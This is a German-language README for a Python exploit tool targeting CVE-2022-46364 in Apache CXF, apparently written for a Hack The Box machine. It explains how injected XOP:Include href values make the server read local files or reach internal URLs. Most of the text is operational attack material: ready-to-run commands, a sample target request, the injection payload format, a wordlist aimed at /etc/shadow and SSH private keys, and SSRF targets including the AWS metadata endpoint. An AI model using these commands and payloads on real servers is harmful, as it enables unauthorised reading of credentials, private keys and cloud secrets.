CVE-2022-46364 — Apache CXF XOP:Include SSRF / LFI

Autor: 0xmid00
Verwundbarkeit: SSRF / Lokaler Dateizugriff via XOP:Include in MTOM-Anfragen
Betroffen: Apache CXF < 3.5.5 und < 3.4.10

Was ist die Sicherheitslücke?

Apache CXF verarbeitet MTOM (Message Transmission Optimization Mechanism)-Nachrichten, die XOP:Include-Elemente enthalten. Das href-Attribut von XOP:Include soll auf einen Anhang innerhalb derselben MTOM-Multipart-Nachricht verweisen.

In verwundbaren Versionen folgt CXF jedoch jeder URI im href, einschließlich:

• file:///etc/passwd → liest lokale Dateien (LFI)
• http://127.0.0.1:PORT/ → testet interne Dienste (SSRF)

Ein Angreifer muss lediglich eine SOAP-Anfrage mit mindestens einem Parameter beliebigen Typs senden, um dies auszulösen.

Voraussetzungen

pip install requests

Verwendung

python3 exploit.py -r request.txt [options]

Argumente

Format der Anfragedatei

Speichern Sie Ihre rohe HTTP-Anfrage in einer .txt-Datei genau wie aufgezeichnet (z.B. von Burp):

POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:tns="http://devarea.htb/">
  <soapenv:Body>
    <tns:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>test</content>
        <department>IT</department>
        <employeeName>john</employeeName>
      </arg0>
    </tns:submitReport>
  </soapenv:Body>
</soapenv:Envelope>

Der Exploit konvertiert sie automatisch in das MTOM-Format — Sie müssen das nicht manuell tun.

Beispiele

Modus 1 — Automatische Erkennung aller injizierbaren Felder

python3 exploit.py -r request.txt --mode 1

Versucht, file:///etc/passwd in jedes Blatt-XML-Element zu injizieren und meldet, welche Dateiinhalte zurückgeben.

Modus 1 — Ein bestimmtes Feld testen

python3 exploit.py -r request.txt --mode 1 --field content

Modus 2 — Dateien fuzzen (Feld zuerst automatisch erkennen)

python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt

Führt zuerst Modus 1 aus, um das injizierbare Feld zu finden, und fuzzt dann alle Pfade in der Wortliste durch dieses Feld.

Modus 2 — Dateien mit bekanntem Feld fuzzen (am schnellsten)

python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt

Überspringt die Felderkennung und geht direkt zum Fuzzing.

Einzelnen Dateizugriff

python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa

Beispiel-Wortliste (lfi.txt)

/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog

Sie können auch SecLists verwenden:

/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

Funktionsweise

1. Parst die rohe HTTP-Anfragedatei
2. Lokalisiert das Ziel-XML-Feld im SOAP-Textkörper
3. Ersetzt dessen Inhalt durch <xop:Include href="file:///..."/>
4. Verpackt die Anfrage im MTOM-Multipart-Format (erforderlich, um CXF's XOP-Prozessor zu aktivieren)
5. Sendet die Anfrage — CXF ruft die Datei ab und gibt deren Inhalt base64-kodiert zurück
6. Dekodiert und gibt das Ergebnis aus

SSRF-Modus

Um interne HTTP-Dienste zu testen anstatt Dateien zu lesen:

python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/

Oder bearbeiten Sie den --read-Wert mit einer beliebigen internen URL:

--read http://169.254.169.254/latest/meta-data/   (AWS-Metadaten)
--read http://127.0.0.1:3306/                      (MySQL)
--read http://127.0.0.1:22/                        (SSH-Banner)

Haftungsausschluss

Dieses Tool ist nur für autorisierte Penetrationstests und CTF-Herausforderungen vorgesehen. Der Autor übernimmt keine Verantwortung für Missbrauch.